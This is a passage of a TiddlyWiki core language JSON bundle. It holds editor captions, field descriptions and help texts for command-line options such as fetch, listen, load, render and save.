        "$:/language/EditTemplate/Field/Remove/Caption": {
            "title": "$:/language/EditTemplate/Field/Remove/Caption",
            "text": "remove field"
        },
        "$:/language/EditTemplate/Field/Remove/Hint": {
            "title": "$:/language/EditTemplate/Field/Remove/Hint",
            "text": "Remove field"
        },
        "$:/language/EditTemplate/Field/Dropdown/Caption": {
            "title": "$:/language/EditTemplate/Field/Dropdown/Caption",
            "text": "field list"
        },
        "$:/language/EditTemplate/Field/Dropdown/Hint": {
            "title": "$:/language/EditTemplate/Field/Dropdown/Hint",
            "text": "Show field list"
        },
        "$:/language/EditTemplate/Fields/Add/Button": {
            "title": "$:/language/EditTemplate/Fields/Add/Button",
            "text": "add"
        },
        "$:/language/EditTemplate/Fields/Add/Name/Placeholder": {
            "title": "$:/language/EditTemplate/Fields/Add/Name/Placeholder",
            "text": "field name"
        },
        "$:/language/EditTemplate/Fields/Add/Prompt": {
            "title": "$:/language/EditTemplate/Fields/Add/Prompt",
            "text": "Add a new field:"
        },
        "$:/language/EditTemplate/Fields/Add/Value/Placeholder": {
            "title": "$:/language/EditTemplate/Fields/Add/Value/Placeholder",
            "text": "field value"
        },
        "$:/language/EditTemplate/Fields/Add/Dropdown/System": {
            "title": "$:/language/EditTemplate/Fields/Add/Dropdown/System",
            "text": "System fields"
        },
        "$:/language/EditTemplate/Fields/Add/Dropdown/User": {
            "title": "$:/language/EditTemplate/Fields/Add/Dropdown/User",
            "text": "User fields"
        },
        "$:/language/EditTemplate/Shadow/Warning": {
            "title": "$:/language/EditTemplate/Shadow/Warning",
            "text": "This is a shadow tiddler. Any changes you make will override the default version from the plugin <<pluginLink>>"
        },
        "$:/language/EditTemplate/Shadow/OverriddenWarning": {
            "title": "$:/language/EditTemplate/Shadow/OverriddenWarning",
            "text": "This is a modified shadow tiddler. You can revert to the default version in the plugin <<pluginLink>> by deleting this tiddler"
        },
        "$:/language/EditTemplate/Tags/Add/Button": {
            "title": "$:/language/EditTemplate/Tags/Add/Button",
            "text": "add"
        },
        "$:/language/EditTemplate/Tags/Add/Placeholder": {
            "title": "$:/language/EditTemplate/Tags/Add/Placeholder",
            "text": "tag name"
        },
        "$:/language/EditTemplate/Tags/Dropdown/Caption": {
            "title": "$:/language/EditTemplate/Tags/Dropdown/Caption",
            "text": "tag list"
        },
        "$:/language/EditTemplate/Tags/Dropdown/Hint": {
            "title": "$:/language/EditTemplate/Tags/Dropdown/Hint",
            "text": "Show tag list"
        },
        "$:/language/EditTemplate/Title/BadCharacterWarning": {
            "title": "$:/language/EditTemplate/Title/BadCharacterWarning",
            "text": "Warning: avoid using any of the characters <<bad-chars>> in tiddler titles"
        },
        "$:/language/EditTemplate/Title/Exists/Prompt": {
            "title": "$:/language/EditTemplate/Title/Exists/Prompt",
            "text": "Target tiddler already exists"
        },
        "$:/language/EditTemplate/Title/Relink/Prompt": {
            "title": "$:/language/EditTemplate/Title/Relink/Prompt",
            "text": "Update ''<$text text=<<fromTitle>>/>'' to ''<$text text=<<toTitle>>/>'' in the //tags// and //list// fields of other tiddlers"
        },
        "$:/language/EditTemplate/Title/References/Prompt": {
            "title": "$:/language/EditTemplate/Title/References/Prompt",
            "text": "The following references to this tiddler will not be automatically updated:"
        },
        "$:/language/EditTemplate/Type/Dropdown/Caption": {
            "title": "$:/language/EditTemplate/Type/Dropdown/Caption",
            "text": "content type list"
        },
        "$:/language/EditTemplate/Type/Dropdown/Hint": {
            "title": "$:/language/EditTemplate/Type/Dropdown/Hint",
            "text": "Show content type list"
        },
        "$:/language/EditTemplate/Type/Delete/Caption": {
            "title": "$:/language/EditTemplate/Type/Delete/Caption",
            "text": "delete content type"
        },
        "$:/language/EditTemplate/Type/Delete/Hint": {
            "title": "$:/language/EditTemplate/Type/Delete/Hint",
            "text": "Delete content type"
        },
        "$:/language/EditTemplate/Type/Placeholder": {
            "title": "$:/language/EditTemplate/Type/Placeholder",
            "text": "content type"
        },
        "$:/language/EditTemplate/Type/Prompt": {
            "title": "$:/language/EditTemplate/Type/Prompt",
            "text": "Type:"
        },
        "$:/language/Exporters/StaticRiver": {
            "title": "$:/language/Exporters/StaticRiver",
            "text": "Static HTML"
        },
        "$:/language/Exporters/JsonFile": {
            "title": "$:/language/Exporters/JsonFile",
            "text": "JSON file"
        },
        "$:/language/Exporters/CsvFile": {
            "title": "$:/language/Exporters/CsvFile",
            "text": "CSV file"
        },
        "$:/language/Exporters/TidFile": {
            "title": "$:/language/Exporters/TidFile",
            "text": "\".tid\" file"
        },
        "$:/language/Docs/Fields/_canonical_uri": {
            "title": "$:/language/Docs/Fields/_canonical_uri",
            "text": "The full URI of an external image tiddler"
        },
        "$:/language/Docs/Fields/bag": {
            "title": "$:/language/Docs/Fields/bag",
            "text": "The name of the bag from which a tiddler came"
        },
        "$:/language/Docs/Fields/caption": {
            "title": "$:/language/Docs/Fields/caption",
            "text": "The text to be displayed on a tab or button"
        },
        "$:/language/Docs/Fields/color": {
            "title": "$:/language/Docs/Fields/color",
            "text": "The CSS color value associated with a tiddler"
        },
        "$:/language/Docs/Fields/component": {
            "title": "$:/language/Docs/Fields/component",
            "text": "The name of the component responsible for an [[alert tiddler|AlertMechanism]]"
        },
        "$:/language/Docs/Fields/current-tiddler": {
            "title": "$:/language/Docs/Fields/current-tiddler",
            "text": "Used to cache the top tiddler in a [[history list|HistoryMechanism]]"
        },
        "$:/language/Docs/Fields/created": {
            "title": "$:/language/Docs/Fields/created",
            "text": "The date a tiddler was created"
        },
        "$:/language/Docs/Fields/creator": {
            "title": "$:/language/Docs/Fields/creator",
            "text": "The name of the person who created a tiddler"
        },
        "$:/language/Docs/Fields/dependents": {
            "title": "$:/language/Docs/Fields/dependents",
            "text": "For a plugin, lists the dependent plugin titles"
        },
        "$:/language/Docs/Fields/description": {
            "title": "$:/language/Docs/Fields/description",
            "text": "The descriptive text for a plugin, or a modal dialogue"
        },
        "$:/language/Docs/Fields/draft.of": {
            "title": "$:/language/Docs/Fields/draft.of",
            "text": "For draft tiddlers, contains the title of the tiddler of which this is a draft"
        },
        "$:/language/Docs/Fields/draft.title": {
            "title": "$:/language/Docs/Fields/draft.title",
            "text": "For draft tiddlers, contains the proposed new title of the tiddler"
        },
        "$:/language/Docs/Fields/footer": {
            "title": "$:/language/Docs/Fields/footer",
            "text": "The footer text for a wizard"
        },
        "$:/language/Docs/Fields/hack-to-give-us-something-to-compare-against": {
            "title": "$:/language/Docs/Fields/hack-to-give-us-something-to-compare-against",
            "text": "A temporary storage field used in [[$:/core/templates/static.content]]"
        },
        "$:/language/Docs/Fields/icon": {
            "title": "$:/language/Docs/Fields/icon",
            "text": "The title of the tiddler containing the icon associated with a tiddler"
        },
        "$:/language/Docs/Fields/library": {
            "title": "$:/language/Docs/Fields/library",
            "text": "If set to \"yes\" indicates that a tiddler should be saved as a JavaScript library"
        },
        "$:/language/Docs/Fields/list": {
            "title": "$:/language/Docs/Fields/list",
            "text": "An ordered list of tiddler titles associated with a tiddler"
        },
        "$:/language/Docs/Fields/list-before": {
            "title": "$:/language/Docs/Fields/list-before",
            "text": "If set, the title of a tiddler before which this tiddler should be added to the ordered list of tiddler titles, or at the start of the list if this field is present but empty"
        },
        "$:/language/Docs/Fields/list-after": {
            "title": "$:/language/Docs/Fields/list-after",
            "text": "If set, the title of the tiddler after which this tiddler should be added to the ordered list of tiddler titles, or at the end of the list if this field is present but empty"
        },
        "$:/language/Docs/Fields/modified": {
            "title": "$:/language/Docs/Fields/modified",
            "text": "The date and time at which a tiddler was last modified"
        },
        "$:/language/Docs/Fields/modifier": {
            "title": "$:/language/Docs/Fields/modifier",
            "text": "The tiddler title associated with the person who last modified a tiddler"
        },
        "$:/language/Docs/Fields/name": {
            "title": "$:/language/Docs/Fields/name",
            "text": "The human readable name associated with a plugin tiddler"
        },
        "$:/language/Docs/Fields/plugin-priority": {
            "title": "$:/language/Docs/Fields/plugin-priority",
            "text": "A numerical value indicating the priority of a plugin tiddler"
        },
        "$:/language/Docs/Fields/plugin-type": {
            "title": "$:/language/Docs/Fields/plugin-type",
            "text": "The type of plugin in a plugin tiddler"
        },
        "$:/language/Docs/Fields/revision": {
            "title": "$:/language/Docs/Fields/revision",
            "text": "The revision of the tiddler held at the server"
        },
        "$:/language/Docs/Fields/released": {
            "title": "$:/language/Docs/Fields/released",
            "text": "Date of a TiddlyWiki release"
        },
        "$:/language/Docs/Fields/source": {
            "title": "$:/language/Docs/Fields/source",
            "text": "The source URL associated with a tiddler"
        },
        "$:/language/Docs/Fields/subtitle": {
            "title": "$:/language/Docs/Fields/subtitle",
            "text": "The subtitle text for a wizard"
        },
        "$:/language/Docs/Fields/tags": {
            "title": "$:/language/Docs/Fields/tags",
            "text": "A list of tags associated with a tiddler"
        },
        "$:/language/Docs/Fields/text": {
            "title": "$:/language/Docs/Fields/text",
            "text": "The body text of a tiddler"
        },
        "$:/language/Docs/Fields/title": {
            "title": "$:/language/Docs/Fields/title",
            "text": "The unique name of a tiddler"
        },
        "$:/language/Docs/Fields/type": {
            "title": "$:/language/Docs/Fields/type",
            "text": "The content type of a tiddler"
        },
        "$:/language/Docs/Fields/version": {
            "title": "$:/language/Docs/Fields/version",
            "text": "Version information for a plugin"
        },
        "$:/language/Filters/AllTiddlers": {
            "title": "$:/language/Filters/AllTiddlers",
            "text": "All tiddlers except system tiddlers"
        },
        "$:/language/Filters/RecentSystemTiddlers": {
            "title": "$:/language/Filters/RecentSystemTiddlers",
            "text": "Recently modified tiddlers, including system tiddlers"
        },
        "$:/language/Filters/RecentTiddlers": {
            "title": "$:/language/Filters/RecentTiddlers",
            "text": "Recently modified tiddlers"
        },
        "$:/language/Filters/AllTags": {
            "title": "$:/language/Filters/AllTags",
            "text": "All tags except system tags"
        },
        "$:/language/Filters/Missing": {
            "title": "$:/language/Filters/Missing",
            "text": "Missing tiddlers"
        },
        "$:/language/Filters/Drafts": {
            "title": "$:/language/Filters/Drafts",
            "text": "Draft tiddlers"
        },
        "$:/language/Filters/Orphans": {
            "title": "$:/language/Filters/Orphans",
            "text": "Orphan tiddlers"
        },
        "$:/language/Filters/SystemTiddlers": {
            "title": "$:/language/Filters/SystemTiddlers",
            "text": "System tiddlers"
        },
        "$:/language/Filters/ShadowTiddlers": {
            "title": "$:/language/Filters/ShadowTiddlers",
            "text": "Shadow tiddlers"
        },
        "$:/language/Filters/OverriddenShadowTiddlers": {
            "title": "$:/language/Filters/OverriddenShadowTiddlers",
            "text": "Overridden shadow tiddlers"
        },
        "$:/language/Filters/SystemTags": {
            "title": "$:/language/Filters/SystemTags",
            "text": "System tags"
        },
        "$:/language/Filters/StoryList": {
            "title": "$:/language/Filters/StoryList",
            "text": "Tiddlers in the story river, excluding <$text text=\"$:/AdvancedSearch\"/>"
        },
        "$:/language/Filters/TypedTiddlers": {
            "title": "$:/language/Filters/TypedTiddlers",
            "text": "Non wiki-text tiddlers"
        },
        "GettingStarted": {
            "title": "GettingStarted",
            "text": "\\define lingo-base() $:/language/ControlPanel/Basics/\nWelcome to ~TiddlyWiki and the ~TiddlyWiki community\n\nBefore you start storing important information in ~TiddlyWiki it is vital to make sure that you can reliably save changes. See https://tiddlywiki.com/#GettingStarted for details\n\n!! Set up this ~TiddlyWiki\n\n<div class=\"tc-control-panel\">\n\n|<$link to=\"$:/SiteTitle\"><<lingo Title/Prompt>></$link> |<$edit-text tiddler=\"$:/SiteTitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/SiteSubtitle\"><<lingo Subtitle/Prompt>></$link> |<$edit-text tiddler=\"$:/SiteSubtitle\" default=\"\" tag=\"input\"/> |\n|<$link to=\"$:/DefaultTiddlers\"><<lingo DefaultTiddlers/Prompt>></$link> |<<lingo DefaultTiddlers/TopHint>><br> <$edit tag=\"textarea\" tiddler=\"$:/DefaultTiddlers\"/><br>//<<lingo DefaultTiddlers/BottomHint>>// |\n</div>\n\nSee the [[control panel|$:/ControlPanel]] for more options.\n"
        },
        "$:/language/Help/build": {
            "title": "$:/language/Help/build",
            "description": "Automatically run configured commands",
            "text": "Build the specified build targets for the current wiki. If no build targets are specified then all available targets will be built.\n\n```\n--build <target> [<target> ...]\n```\n\nBuild targets are defined in the `tiddlywiki.info` file of a wiki folder.\n\n"
        },
        "$:/language/Help/clearpassword": {
            "title": "$:/language/Help/clearpassword",
            "description": "Clear a password for subsequent crypto operations",
            "text": "Clear the password for subsequent crypto operations\n\n```\n--clearpassword\n```\n"
        },
        "$:/language/Help/default": {
            "title": "$:/language/Help/default",
            "text": "\\define commandTitle()\n$:/language/Help/$(command)$\n\\end\n```\nusage: tiddlywiki [<wikifolder>] [--<command> [<args>...]...]\n```\n\nAvailable commands:\n\n<ul>\n<$list filter=\"[commands[]sort[title]]\" variable=\"command\">\n<li><$link to=<<commandTitle>>><$macrocall $name=\"command\" $type=\"text/plain\" $output=\"text/plain\"/></$link>: <$transclude tiddler=<<commandTitle>> field=\"description\"/></li>\n</$list>\n</ul>\n\nTo get detailed help on a command:\n\n```\ntiddlywiki --help <command>\n```\n"
        },
        "$:/language/Help/editions": {
            "title": "$:/language/Help/editions",
            "description": "Lists the available editions of TiddlyWiki",
            "text": "Lists the names and descriptions of the available editions. You can create a new wiki of a specified edition with the `--init` command.\n\n```\n--editions\n```\n"
        },
        "$:/language/Help/fetch": {
            "title": "$:/language/Help/fetch",
            "description": "Fetch tiddlers from wiki by URL",
            "text": "Fetch one or more files over HTTP/HTTPS, and import the tiddlers matching a filter, optionally transforming the incoming titles.\n\n```\n--fetch file <url> <import-filter> <transform-filter>\n--fetch files <url-filter> <import-filter> <transform-filter>\n--fetch raw-file <url> <transform-filter>\n--fetch raw-files <url-filter> <transform-filter>\n```\n\nThe \"file\" and \"files\" variants fetch the specified files and attempt to import the tiddlers within them (the same processing as if the files were dragged into the browser window). The \"raw-file\" and \"raw-files\" variants fetch the specified files and then store the raw file data in tiddlers, without applying the import logic.\n\nWith the \"file\" and \"raw-file\" variants only a single file is fetched and the first parameter is the URL of the file to read.\n\nWith the \"files\" and \"raw-files\" variants, multiple files are fetched and the first parameter is a filter yielding a list of URLs of the files to read. For example, given a set of tiddlers tagged \"remote-server\" that have a field \"url\" the filter `[tag[remote-server]get[url]]` will retrieve all the available URLs.\n\nFor the \"file\" and \"files\" variants, the `<import-filter>` parameter specifies a filter determining which tiddlers are imported. It defaults to `[all[tiddlers]]` if not provided.\n\nFor all variants, the `<transform-filter>` parameter specifies an optional filter that transforms the titles of the imported tiddlers. For example, `[addprefix[$:/myimports/]]` would add the prefix `$:/myimports/` to each title.\n\nPreceding the `--fetch` command with `--verbose` will output progress information during the import.\n\nNote that TiddlyWiki will not fetch an older version of an already loaded plugin.\n\nThe following example retrieves all the non-system tiddlers from https://tiddlywiki.com and saves them to a JSON file:\n\n```\ntiddlywiki --verbose --fetch file \"https://tiddlywiki.com/\" \"[!is[system]]\" \"\" --rendertiddler \"$:/core/templates/exporters/JsonFile\" output.json text/plain \"\" exportFilter \"[!is[system]]\"\n```\n\nThe following example retrieves the \"favicon\" file from tiddlywiki.com and saves it in a file called \"output.ico\". Note that the intermediate tiddler \"Icon Tiddler\" is quoted in the \"--fetch\" command because it is being used as a transformation filter to replace the default title, while there are no quotes for the \"--savetiddler\" command because it is being used directly as a title.\n\n```\ntiddlywiki --verbose --fetch raw-file \"https://tiddlywiki.com/favicon.ico\" \"[[Icon Tiddler]]\" --savetiddler \"Icon Tiddler\" output.ico\n```\n\n"
        },
        "$:/language/Help/help": {
            "title": "$:/language/Help/help",
            "description": "Display help for TiddlyWiki commands",
            "text": "Displays help text for a command:\n\n```\n--help [<command>]\n```\n\nIf the command name is omitted then a list of available commands is displayed.\n"
        },
        "$:/language/Help/import": {
            "title": "$:/language/Help/import",
            "description": "Import tiddlers from a file",
            "text": "Import tiddlers from TiddlyWiki (`.html`), `.tiddler`, `.tid`, `.json` or other local files. The deserializer must be explicitly specified, unlike the `load` command which infers the deserializer from the file extension.\n\n```\n--import <filepath> <deserializer> [<title>] [<encoding>]\n```\n\nThe deserializers in the core include:\n\n* application/javascript\n* application/json\n* application/x-tiddler\n* application/x-tiddler-html-div\n* application/x-tiddlers\n* text/html\n* text/plain\n\nThe title of the imported tiddler defaults to the filename.\n\nThe encoding defaults to \"utf8\", but can be \"base64\" for importing binary files.\n\nNote that TiddlyWiki will not import an older version of an already loaded plugin.\n"
        },
        "$:/language/Help/init": {
            "title": "$:/language/Help/init",
            "description": "Initialise a new wiki folder",
            "text": "Initialise an empty [[WikiFolder|WikiFolders]] with a copy of the specified edition.\n\n```\n--init <edition> [<edition> ...]\n```\n\nFor example:\n\n```\ntiddlywiki ./MyWikiFolder --init empty\n```\n\nNote:\n\n* The wiki folder directory will be created if necessary\n* The \"edition\" defaults to ''empty''\n* The init command will fail if the wiki folder is not empty\n* The init command removes any `includeWikis` definitions in the edition's `tiddlywiki.info` file\n* When multiple editions are specified, editions initialised later will overwrite any files shared with earlier editions (so, the final `tiddlywiki.info` file will be copied from the last edition)\n* `--editions` returns a list of available editions\n"
        },
        "$:/language/Help/listen": {
            "title": "$:/language/Help/listen",
            "description": "Provides an HTTP server interface to TiddlyWiki",
            "text": "Serves a wiki over HTTP.\n\nThe listen command uses NamedCommandParameters:\n\n```\n--listen [<name>=<value>]...\n```\n\nAll parameters are optional with safe defaults, and can be specified in any order. The recognised parameters are:\n\n* ''host'' - optional hostname to serve from (defaults to \"127.0.0.1\" aka \"localhost\")\n* ''path-prefix'' - optional prefix for paths\n* ''port'' - port number on which to listen; non-numeric values are interpreted as a system environment variable from which the port number is extracted (defaults to \"8080\")\n* ''credentials'' - pathname of credentials CSV file (relative to wiki folder)\n* ''anon-username'' - the username for signing edits for anonymous users\n* ''username'' - optional username for basic authentication\n* ''password'' - optional password for basic authentication\n* ''authenticated-user-header'' - optional name of header to be used for trusted authentication\n* ''readers'' - comma separated list of principals allowed to read from this wiki\n* ''writers'' - comma separated list of principals allowed to write to this wiki\n* ''csrf-disable'' - set to \"yes\" to disable CSRF checks (defaults to \"no\")\n* ''root-tiddler'' - the tiddler to serve at the root (defaults to \"$:/core/save/all\")\n* ''root-render-type'' - the content type to which the root tiddler should be rendered (defaults to \"text/plain\")\n* ''root-serve-type'' - the content type with which the root tiddler should be served (defaults to \"text/html\")\n* ''tls-cert'' - pathname of TLS certificate file (relative to wiki folder)\n* ''tls-key'' - pathname of TLS key file (relative to wiki folder)\n* ''debug-level'' - optional debug level; set to \"debug\" to view request details (defaults to \"none\")\n\nFor information on opening up your instance to the entire local network, and possible security concerns, see the WebServer tiddler at TiddlyWiki.com.\n\n"
        },
        "$:/language/Help/load": {
            "title": "$:/language/Help/load",
            "description": "Load tiddlers from a file",
            "text": "Load tiddlers from TiddlyWiki (`.html`), `.tiddler`, `.tid`, `.json` or other local files. The processing applied to incoming files is determined by the file extension. Use the alternative `import` command if you need to specify the deserializer and encoding explicitly.\n\n```\n--load <filepath>\n--load <dirpath>\n```\n\nTo load tiddlers from an encrypted TiddlyWiki file you should first specify the password with the PasswordCommand. For example:\n\n```\ntiddlywiki ./MyWiki --password pa55w0rd --load my_encrypted_wiki.html\n```\n\nNote that TiddlyWiki will not load an older version of an already loaded plugin.\n"
        },
        "$:/language/Help/makelibrary": {
            "title": "$:/language/Help/makelibrary",
            "description": "Construct library plugin required by upgrade process",
            "text": "Constructs the `$:/UpgradeLibrary` tiddler for the upgrade process.\n\nThe upgrade library is formatted as an ordinary plugin tiddler with the plugin type `library`. It contains a copy of each of the plugins, themes and language packs available within the TiddlyWiki5 repository.\n\nThis command is intended for internal use; it is only relevant to users constructing a custom upgrade procedure.\n\n```\n--makelibrary <title>\n```\n\nThe title argument defaults to `$:/UpgradeLibrary`.\n"
        },
        "$:/language/Help/notfound": {
            "title": "$:/language/Help/notfound",
            "text": "No such help item"
        },
        "$:/language/Help/output": {
            "title": "$:/language/Help/output",
            "description": "Set the base output directory for subsequent commands",
            "text": "Sets the base output directory for subsequent commands. The default output directory is the `output` subdirectory of the edition directory.\n\n```\n--output <pathname>\n```\n\nIf the specified pathname is relative then it is resolved relative to the current working directory. For example `--output .` sets the output directory to the current working directory.\n\n"
        },
        "$:/language/Help/password": {
            "title": "$:/language/Help/password",
            "description": "Set a password for subsequent crypto operations",
            "text": "Set a password for subsequent crypto operations\n\n```\n--password <password>\n```\n\n''Note'': This should not be used for serving TiddlyWiki with password protection. Instead, see the password option under the [[ServerCommand]].\n"
        },
        "$:/language/Help/render": {
            "title": "$:/language/Help/render",
            "description": "Renders individual tiddlers to files",
            "text": "Render individual tiddlers identified by a filter and save the results to the specified files.\n\nOptionally, the title of a template tiddler can be specified. In this case, instead of directly rendering each tiddler, the template tiddler is rendered with the \"currentTiddler\" variable set to the title of the tiddler that is being rendered.\n\nA name and value for an additional variable may optionally also be specified.\n\n```\n--render <tiddler-filter> [<filename-filter>] [<render-type>] [<template>] [<name>] [<value>]\n```\n\n* ''tiddler-filter'': A filter identifying the tiddler(s) to be rendered\n* ''filename-filter'': Optional filter transforming tiddler titles into pathnames. If omitted, defaults to `[is[tiddler]addsuffix[.html]]`, which uses the unchanged tiddler title as the filename\n* ''template'': Optional template through which each tiddler is rendered\n* ''render-type'': Optional render type: `text/html` (the default) returns the full HTML text and `text/plain` just returns the text content (ie it ignores HTML tags and other unprintable material)\n* ''name'': Name of optional variable\n* ''value'': Value of optional variable\n\nBy default, the filename is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nNotes:\n\n* The output directory is not cleared of any existing files\n* Any missing directories in the path to the filename are automatically created.\n* When referring to a tiddler with spaces in its title, take care to use both the quotes required by your shell and also TiddlyWiki's double square brackets : `--render \"[[Motovun Jack.jpg]]\"`\n* The filename filter is evaluated with the selected items being set to the title of the tiddler currently being rendered, allowing the title to be used as the basis for computing the filename. For example `[encodeuricomponent[]addprefix[static/]]` applies URI encoding to each title, and then adds the prefix `static/`\n* The `--render` command is a more flexible replacement for both the `--rendertiddler` and `--rendertiddlers` commands, which are deprecated\n\nExamples:\n\n* `--render \"[!is[system]]\" \"[encodeuricomponent[]addprefix[tiddlers/]addsuffix[.html]]\"` -- renders all non-system tiddlers as files in the subdirectory \"tiddlers\" with URL-encoded titles and the extension HTML\n\n"
        },
        "$:/language/Help/rendertiddler": {
            "title": "$:/language/Help/rendertiddler",
            "description": "Render an individual tiddler as a specified ContentType",
            "text": "(Note: The `--rendertiddler` command is deprecated in favour of the new, more flexible `--render` command)\n\nRender an individual tiddler as a specified ContentType, defaulting to `text/html` and save it to the specified filename.\n\nOptionally the title of a template tiddler can be specified, in which case the template tiddler is rendered with the \"currentTiddler\" variable set to the tiddler that is being rendered (the first parameter value).\n\nA name and value for an additional variable may optionally also be specified.\n\n```\n--rendertiddler <title> <filename> [<type>] [<template>] [<name>] [<value>]\n```\n\nBy default, the filename is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nAny missing directories in the path to the filename are automatically created.\n\nFor example, the following command saves all tiddlers matching the filter `[tag[done]]` to a JSON file titled `output.json` by employing the core template `$:/core/templates/exporters/JsonFile`.\n\n```\n--rendertiddler \"$:/core/templates/exporters/JsonFile\" output.json text/plain \"\" exportFilter \"[tag[done]]\"\n```\n"
        },
        "$:/language/Help/rendertiddlers": {
            "title": "$:/language/Help/rendertiddlers",
            "description": "Render tiddlers matching a filter to a specified ContentType",
            "text": "(Note: The `--rendertiddlers` command is deprecated in favour of the new, more flexible `--render` command)\n\nRender a set of tiddlers matching a filter to separate files of a specified ContentType (defaults to `text/html`) and extension (defaults to `.html`).\n\n```\n--rendertiddlers <filter> <template> <pathname> [<type>] [<extension>] [\"noclean\"]\n```\n\nFor example:\n\n```\n--rendertiddlers [!is[system]] $:/core/templates/static.tiddler.html ./static text/plain\n```\n\nBy default, the pathname is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nAny files in the target directory are deleted unless the ''noclean'' flag is specified. The target directory is recursively created if it is missing.\n"
        },
        "$:/language/Help/save": {
            "title": "$:/language/Help/save",
            "description": "Saves individual raw tiddlers to files",
            "text": "Saves individual tiddlers identified by a filter in their raw text or binary format to the specified files.\n\n```\n--save <tiddler-filter> <filename-filter>\n```\n\n* ''tiddler-filter'': A filter identifying the tiddler(s) to be saved\n* ''filename-filter'': Optional filter transforming tiddler titles into pathnames. If omitted, defaults to `[is[tiddler]]`, which uses the unchanged tiddler title as the filename\n\nBy default, the filename is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nNotes:\n\n* The output directory is not cleared of any existing files\n* Any missing directories in the path to the filename are automatically created.\n* When saving a tiddler with spaces in its title, take care to use both the quotes required by your shell and also TiddlyWiki's double square brackets : `--save \"[[Motovun Jack.jpg]]\"`\n* The filename filter is evaluated with the selected items being set to the title of the tiddler currently being saved, allowing the title to be used as the basis for computing the filename. For example `[encodeuricomponent[]addprefix[static/]]` applies URI encoding to each title, and then adds the prefix `static/`\n* The `--save` command is a more flexible replacement for both the `--savetiddler` and `--savetiddlers` commands, which are deprecated\n\nExamples:\n\n* `--save \"[!is[system]is[image]]\" \"[encodeuricomponent[]addprefix[tiddlers/]]\"` -- saves all non-system image tiddlers as files in the subdirectory \"tiddlers\" with URL-encoded titles\n"
        },
        "$:/language/Help/savetiddler": {
            "title": "$:/language/Help/savetiddler",
            "description": "Saves a raw tiddler to a file",
            "text": "(Note: The `--savetiddler` command is deprecated in favour of the new, more flexible `--save` command)\n\nSaves an individual tiddler in its raw text or binary format to the specified filename.\n\n```\n--savetiddler <title> <filename>\n```\n\nBy default, the filename is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nAny missing directories in the path to the filename are automatically created.\n"
        },
        "$:/language/Help/savetiddlers": {
            "title": "$:/language/Help/savetiddlers",
            "description": "Saves a group of raw tiddlers to a directory",
            "text": "(Note: The `--savetiddlers` command is deprecated in favour of the new, more flexible `--save` command)\n\nSaves a group of tiddlers in their raw text or binary format to the specified directory.\n\n```\n--savetiddlers <filter> <pathname> [\"noclean\"]\n```\n\nBy default, the pathname is resolved relative to the `output` subdirectory of the edition directory. The `--output` command can be used to direct output to a different directory.\n\nThe output directory is cleared of existing files before saving the specified files. The deletion can be disabled by specifying the ''noclean'' flag.\n\nAny missing directories in the pathname are automatically created.\n"
        },
        "$:/language/Help/server": {
            "title": "$:/language/Help/server",
            "description": "Provides an HTTP server interface to TiddlyWiki (deprecated in favour of the new listen command)",
            "text": "Legacy command to serve a wiki over HTTP.\n\n```\n--server <port> <root-tiddler> <root-render-type> <root-serve-type> <username> <password> <host> <path-prefix> <debug-level>\n```\n\nThe parameters are:\n\n* ''port'' - port number on which to listen; non-numeric values are interpreted as a system environment variable from which the port number is extracted (defaults to \"8080\")\n* ''root-tiddler'' - the tiddler to serve at the root (defaults to \"$:/core/save/all\")\n* ''root-render-type'' - the content type to which the root tiddler should be rendered (defaults to \"text/plain\")\n* ''root-serve-type'' - the content type with which the root tiddler should be served (defaults to \"text/html\")\n* ''username'' - the default username for signing edits\n* ''password'' - optional password for basic authentication\n* ''host'' - optional hostname to serve from (defaults to \"127.0.0.1\" aka \"localhost\")\n* ''path-prefix'' - optional prefix for paths\n* ''debug-level'' - optional debug level; set to \"debug\" to view request details (defaults to \"none\")\n\nIf the password parameter is specified then the browser will prompt the user for the username and password. Note that the password is transmitted in plain text so this implementation should only be used on a trusted network or over HTTPS.\n\nFor example:\n\n```\n--server 8080 $:/core/save/all text/plain text/html MyUserName passw0rd\n```\n\nThe username and password can be specified as empty strings if you need to set the hostname or pathprefix and don't want to require a password.\n\n\n```\n--server 8080 $:/core/save/all text/plain text/html \"\" \"\" 192.168.0.245\n```\n\nUsing an address like this exposes your system to the local network. For information on opening up your instance to the entire local network, and possible security concerns, see the WebServer tiddler at TiddlyWiki.com.\n\nTo run multiple TiddlyWiki servers at the same time you'll need to put each one on a different port. It can be useful to use an environment variable to pass the port number to the Node.js process. This example references an environment variable called \"MY_PORT_NUMBER\":\n\n```\n--server MY_PORT_NUMBER $:/core/save/all text/plain text/html MyUserName passw0rd\n```\n"
        },
        "$:/language/Help/setfield": {
            "title": "$:/language/Help/setfield",
            "description": "Prepares external tiddlers for use",
            "text": "//Note that this command is experimental and may change or be replaced before being finalised//\n\nSets the specified field of a group of tiddlers to the result of wikifying a template tiddler with the `currentTiddler` variable set to the tiddler.\n\n```\n--setfield <filter> <fieldname> <templatetitle> <rendertype>\n```\n\nThe parameters are:\n\n* ''filter'' - filter identifying the tiddlers to be affected\n* ''fieldname'' - the field to modify (defaults to \"text\")\n* ''templatetitle'' - the tiddler to wikify into the specified field. If blank or missing then the specified field is deleted\n* ''rendertype'' - the text type to render (defaults to \"text/plain\"; \"text/html\" can be used to include HTML tags)\n"
        },
        "$:/language/Help/unpackplugin": {
            "title": "$:/language/Help/unpackplugin",
            "description": "Unpack the payload tiddlers from a plugin",
            "text": "Extract the payload tiddlers from a plugin, creating them as ordinary tiddlers:\n\n```\n--unpackplugin <title>\n```\n"
        },
        "$:/language/Help/verbose": {
            "title": "$:/language/Help/verbose",
            "description": "Triggers verbose output mode",
            "text": "Triggers verbose output, useful for debugging\n\n```\n--verbose\n```\n"
        },
        "$:/language/Help/version": {
            "title": "$:/language/Help/version",
            "description": "Displays the version number of TiddlyWiki",
            "text": "Displays the version number of TiddlyWiki.\n\n```\n--version\n```\n"
        },
        "$:/language/Import/Imported/Hint": {
            "title": "$:/language/Import/Imported/Hint",
            "text": "The following tiddlers were imported:"
        },
        "$:/language/Import/Listing/Cancel/Caption": {
            "title": "$:/language/Import/Listing/Cancel/Caption",
            "text": "Cancel"
        },
        "$:/language/Import/Listing/Hint": {
